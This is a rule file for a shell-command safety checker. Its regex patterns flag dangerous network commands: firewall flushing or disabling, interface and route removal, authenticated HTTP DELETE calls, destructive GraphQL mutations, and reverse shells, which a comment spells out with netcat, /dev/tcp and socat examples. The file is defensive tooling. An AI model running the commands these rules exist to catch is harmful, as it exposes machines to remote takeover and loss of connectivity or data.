- from: network
# Any option order: `-w -F`, `--flush`, `-t filter -F`, `iptables-legacy -F`.
test: (?:^|\s)ip6?tables(?:-legacy|-nft)?\s+(?:\S+\s+)*?(?:-[a-zA-Z]*F[a-zA-Z]*|--flush)(?:\s|$)
description: "This flushes all firewall rules."
id: network:flush_iptables
severity: Critical
filters:
# Other tables are covered by network:flush_nat_rules.
- type: NotMatches
value: '\s(?:-t|--table)(?:\s+|=)?(?:nat|mangle|raw|security)(?:\s|$)'
- from: network
test: (?:^|\s)ip6?tables(?:-legacy|-nft)?\s+(?:\S+\s+)*?(?:-X|--delete-chain)(?:\s|$)
description: "This deletes all custom firewall chains."
id: network:delete_custom_chains
severity: High
- from: network
test: (?:^|\s)ip6?tables(?:-legacy|-nft)?\s+(?:\S+\s+)*?(?:-t|--table)(?:\s+|=)?nat\s+(?:\S+\s+)*?(?:-[a-zA-Z]*F[a-zA-Z]*|--flush)(?:\s|$)
description: "This flushes all NAT rules."
id: network:flush_nat_rules
severity: High
- from: network
test: (?:^|\s)ufw\s+(?:--force\s+)?disable(\s|$)
description: "This disables the firewall."
id: network:disable_firewall
severity: Critical
- from: network
test: (?:^|\s)ufw\s+(?:--force\s+)?reset(?:\s|$)
description: "This resets the firewall: every rule is removed and the firewall is disabled."
id: network:force_reset_firewall
severity: Critical
- from: network
test: (?:^|\s)systemctl\s+stop\s+networking
description: "This stops the networking service."
id: network:stop_networking
severity: High
- from: network
test: (?:^|\s)systemctl\s+stop\s+NetworkManager
description: "This stops NetworkManager."
id: network:stop_network_manager
severity: High
- from: network
test: (?:^|\s)ifconfig\s+\w+\s+down
description: "This brings a network interface down."
id: network:bring_down_interface
severity: High
- from: network
test: (?:^|\s)ip\s+link\s+set\s+[\w-]+\s+down
description: "This brings a network interface down."
id: network:bring_down_interface_ip
severity: High
- from: network
test: (?:^|\s)route\s+del\s+default
description: "This deletes the default network route."
id: network:delete_default_route
severity: High
- from: network
test: (?:^|\s)nft\s+flush\s+ruleset
description: "Flushing all nftables rules removes all firewall protection."
id: network:flush_nftables
severity: Critical
- from: network
test: (?:^|\s)ip\s+route\s+flush
description: "Flushing the routing table causes immediate loss of network connectivity."
id: network:flush_routes
severity: Critical
- from: network
# A DROP default policy on INPUT/OUTPUT cuts the machine off (including the
# SSH session that typed it) unless ACCEPT rules already exist.
test: (?:^|\s)ip6?tables\s+(?:\S+\s+)*?(?:-P|--policy)\s+(?:INPUT|OUTPUT|FORWARD)\s+(?:DROP|REJECT)(?:\s|$)
description: "This sets the default firewall policy to DROP, which can cut off all traffic, including your SSH session."
id: network:iptables_default_drop
severity: High
- from: network
# A catch-all DROP/REJECT appended/inserted on INPUT with no match criteria
# before `-j` (`iptables -A INPUT -j DROP`) drops every incoming packet, the
# same lockout as a DROP policy. A rule that first matches a host or port
# (`-A INPUT -s 1.2.3.4 -j DROP`) is specific and is not flagged.
test: (?:^|\s)ip6?tables(?:-legacy|-nft)?\s+(?:\S+\s+)*?(?:-A|-I|--append|--insert)\s+INPUT\s+-j\s+(?:DROP|REJECT)(?:\s|$)
description: "This appends a catch-all DROP/REJECT rule to INPUT, dropping all incoming traffic including your SSH session."
id: network:iptables_drop_all_input
severity: High
- from: network
# A reverse shell: an interactive shell wired to a TCP connection
# (`bash -i >& /dev/tcp/HOST/PORT 0>&1`), `nc -e /bin/sh`, `ncat -c`,
# `socat … exec:`, or the python pty one-liner. A plain `/dev/tcp` port
# probe (`</dev/tcp/host/22`) is not one.
test: '(?:(?:^|\s)(?:ba|z|k|da)?sh\s+(?:-\S+\s+)*-i\b.*/dev/(?:tcp|udp)/|/dev/(?:tcp|udp)/\S+.*\s0>&1|(?:^|\s)(?:nc|ncat|netcat|nc\.traditional)\s+(?:\S+\s+)*?-[a-zA-Z]*[ec]\s*\S|(?:^|\s)socat\s+.*\b(?:exec|system):|\bpty\.spawn\(|\bsocket\.socket\(.*\.connect\()'
description: "This opens a reverse shell: it hands an interactive shell on this machine to whoever listens at the remote address."
id: network:reverse_shell
severity: High
- from: network
test: (?:^|\s)ip\s+(?:-\S+\s+)*(?:a|addr|address)\s+(?:flush|del)\s
description: "This removes the IP addresses of a network interface: the machine (and your SSH session) loses connectivity on it."
id: network:flush_addresses
severity: High
- from: network
# With incoming denied by default and no `allow ssh` rule, enabling ufw
# cuts off the SSH session that typed it.
test: (?:^|\s)ufw\s+(?:--\S+\s+)*default\s+(?:deny|reject)(?:\s+(?:incoming|in))?(?:\s|$)
description: "This makes the firewall refuse all incoming connections by default, including SSH unless a rule allows it."
id: network:ufw_default_deny
severity: High
alternative: "ufw allow OpenSSH"
alternative_info: "Allow SSH first (then set the default policy), so the session that changes the firewall is not cut off."
- from: network
# Windows firewall turned off: `netsh advfirewall set … state off`, the
# legacy `netsh firewall set opmode disable`, or `Set-NetFirewallProfile
# -Enabled False`. Parity with the Critical `ufw disable`.
test: '(?i)(?:^|\s)(?:netsh(?:\.exe)?\s+advfirewall\s+set\s+\S+\s+state\s+off|netsh(?:\.exe)?\s+firewall\s+set\s+opmode\s+(?:mode=)?disable|Set-NetFirewallProfile\s+(?:\S+\s+)*?-Enabled[:\s]+(?:False|0)\b)'
description: "This turns the Windows firewall off, leaving every port open."
id: network:disable_firewall_windows
severity: Critical
- from: network
# An HTTP DELETE sent with credentials (`curl -X DELETE -H "Authorization:
# Bearer $T" …`, `http DELETE … Authorization:…`, `wget --method=DELETE
# --header=…`): an authenticated API call that deletes a resource
# (a project, repository, volume, DNS record, …). A local development
# server is not matched: `localhost`, `127.0.0.1`, `[::1]`, `0.0.0.0`,
# `*.localhost`, `host.docker.internal` or the httpie `:3000/…` shorthand,
# unless the path starts with `_` or holds a `*` (`localhost:9200/_all`
# deletes every Elasticsearch index).
test: '(?:^(?:curl|curlie)\s+(?:\S+\s+)*?(?:-[a-zA-Z]*X\s*|--request(?:\s+|=))(?i:delete)(?:\s|$)|^wget\s+(?:\S+\s+)*?--method(?:\s+|=)(?i:delete)(?:\s|$)|^(?:http|https|xh|xhs)\s+(?:(?:-a|--auth|-A|--auth-type|--session|--session-read-only|--proxy|--cert|--cert-key|--cert-key-pass|--ssl|--ciphers|--timeout|--max-redirects|-o|--output|-p|--print|--pretty|-s|--style|--default-scheme|--boundary|--bearer)\s+\S+\s+|-\S+\s+)*(?i:delete)\s+\S*[:./])'
description: "This sends an authenticated HTTP DELETE request: the API deletes the resource at that URL (a project, repository, database, volume, ...) with your credentials."
id: network:http_delete_authenticated
severity: High
filters:
- type: Matches
value: '(?i)(?:^|\s)(?:-H|--header)(?:\s+|=)?(?:authorization|proxy-authorization|x-api-key|api-key|apikey|x-auth-token|x-auth-key|x-auth-email|x-access-token|private-token|x-goog-api-key|x-figma-token|cookie)\s*:|(?:^|\s)(?:authorization|x-api-key|api-key|x-auth-token|x-access-token|private-token|cookie):|(?:^|\s)(?:-u|--user|--oauth2-bearer|--bearer|--aws-sigv4|-a|--auth|--http-user|--http-password|--header=authorization:\S*|-n|--netrc|--netrc-file|-b|--cookie)(?:\s|=|$)|[?&](?:access_token|api_key|apikey|token|key|auth)=|://[^/\s:@]+:[^/\s@]+@'
- type: NotMatches
value: '(?:^|\s)(?:(?:https?://)?(?:[^\s/@]+@)?(?:localhost|127\.\d{1,3}\.\d{1,3}\.\d{1,3}|0\.0\.0\.0|\[::1\]|[\w-]+(?:\.[\w-]+)*\.localhost|host\.docker\.internal)(?::\d+)?|:\d+)(?:/(?:[^\s_*][^\s*]*)?|[?#]\S*)?(?:\s|$)'
alternative: "curl -X GET <url>"
alternative_info: "Fetch the resource first and check it is the one to delete."
- from: network
# An HTTP DELETE without credentials on the line. A local development
# server is not matched (see network:http_delete_authenticated).
test: '(?:^(?:curl|curlie)\s+(?:\S+\s+)*?(?:-[a-zA-Z]*X\s*|--request(?:\s+|=))(?i:delete)(?:\s|$)|^wget\s+(?:\S+\s+)*?--method(?:\s+|=)(?i:delete)(?:\s|$)|^(?:http|https|xh|xhs)\s+(?:(?:-a|--auth|-A|--auth-type|--session|--session-read-only|--proxy|--cert|--cert-key|--cert-key-pass|--ssl|--ciphers|--timeout|--max-redirects|-o|--output|-p|--print|--pretty|-s|--style|--default-scheme|--boundary|--bearer)\s+\S+\s+|-\S+\s+)*(?i:delete)\s+\S*[:./])'
description: "This sends an HTTP DELETE request: the server deletes the resource at that URL."
id: network:http_delete
severity: Medium
filters:
- type: NotMatches
value: '(?i)(?:^|\s)(?:-H|--header)(?:\s+|=)?(?:authorization|proxy-authorization|x-api-key|api-key|apikey|x-auth-token|x-auth-key|x-auth-email|x-access-token|private-token|x-goog-api-key|x-figma-token|cookie)\s*:|(?:^|\s)(?:authorization|x-api-key|api-key|x-auth-token|x-access-token|private-token|cookie):|(?:^|\s)(?:-u|--user|--oauth2-bearer|--bearer|--aws-sigv4|-a|--auth|--http-user|--http-password|--header=authorization:\S*|-n|--netrc|--netrc-file|-b|--cookie)(?:\s|=|$)|[?&](?:access_token|api_key|apikey|token|key|auth)=|://[^/\s:@]+:[^/\s@]+@'
- type: NotMatches
value: '(?:^|\s)(?:(?:https?://)?(?:[^\s/@]+@)?(?:localhost|127\.\d{1,3}\.\d{1,3}\.\d{1,3}|0\.0\.0\.0|\[::1\]|[\w-]+(?:\.[\w-]+)*\.localhost|host\.docker\.internal)(?::\d+)?|:\d+)(?:/(?:[^\s_*][^\s*]*)?|[?#]\S*)?(?:\s|$)'
alternative: "curl -X GET <url>"
alternative_info: "Fetch the resource first and check it is the one to delete."
- from: network
# A GraphQL mutation with a top-level field that deletes something:
# `volumeDelete(…)`, `deleteRepository(…)`, `projectDestroy(…)`,
# `delete_users(…)`, `removeOutsideCollaborator(…)`, `archiveRepository(…)`,
# sent with an HTTP client or `gh api graphql`. The parser reads every
# top-level field of the mutation, stepping over arguments, selection sets
# and string literals, and emits one marker segment per field (followed by
# the words that can name the server), so text inside arguments (an issue
# title or comment body, even with a `)` in it) is not read as a field.
# Relationship edits (`removeLabelsFromLabelable`, `removeReaction`,
# `removeStar`, `issueRemoveLabel`), queries, and a local development
# server are not matched.
test: '^shellfirm-graphql-field\s+(?:(?i:delete|destroy|drop|purge|wipe|erase|truncate)(?:[A-Z_0-9]\w*)?|remove(?:[A-Z]\w*)?(?:Member|OutsideCollaborator)|archiveRepository|[a-z]\w*?(?:Delete|Destroy|Drop|Purge|Wipe|Erase|Truncate)(?:[A-Z_0-9]\w*)?|[a-z]\w*?Remove)(?:\s|$)'
description: "This sends a GraphQL mutation that deletes or archives something (a project, repository, volume, service, ...) through the API."
id: network:graphql_destructive_mutation
severity: High
filters:
- type: NotMatches
value: '(?:^|\s)(?:(?:https?://)?(?:[^\s/@]+@)?(?:localhost|127\.\d{1,3}\.\d{1,3}\.\d{1,3}|0\.0\.0\.0|\[::1\]|[\w-]+(?:\.[\w-]+)*\.localhost|host\.docker\.internal)(?::\d+)?|:\d+)(?:/(?:[^\s_*][^\s*]*)?|[?#]\S*)?(?:\s|$)'
alternative: "query the object first"
alternative_info: "Run a GraphQL query for the object to check it is the one to delete, then confirm the mutation."
- from: network
# Stopping or disabling the firewall service (`systemctl stop firewalld`,
# `systemctl disable ufw`, `service ufw stop`), the macOS application
# firewall (`socketfilterfw --setglobalstate off`, unloading
# com.apple.alf), or the macOS packet filter (`pfctl -d`).
test: '(?:^|\s)(?:systemctl\s+(?:-\S+\s+)*(?:stop|disable|mask|kill)\s+(?:\S+\s+)*?(?:firewalld|ufw|nftables|iptables|ip6tables|netfilter-persistent|shorewall|csf)(?:\.service)?|service\s+(?:firewalld|ufw|nftables|iptables|ip6tables|netfilter-persistent)\s+stop|(?:\S*/)?socketfilterfw\s+(?:\S+\s+)*?--setglobalstate(?:\s+|=)off|launchctl\s+(?:unload|bootout|disable)\s+(?:\S+\s+)*?\S*com\.apple\.alf\S*|defaults\s+write\s+\S*com\.apple\.alf\s+globalstate\s+(?:-int\s+)?0|pfctl\s+(?:\S+\s+)*?-d)(?:\s|$)'
description: "This turns the firewall off: every listening port becomes reachable from the network."
id: network:stop_firewall
severity: High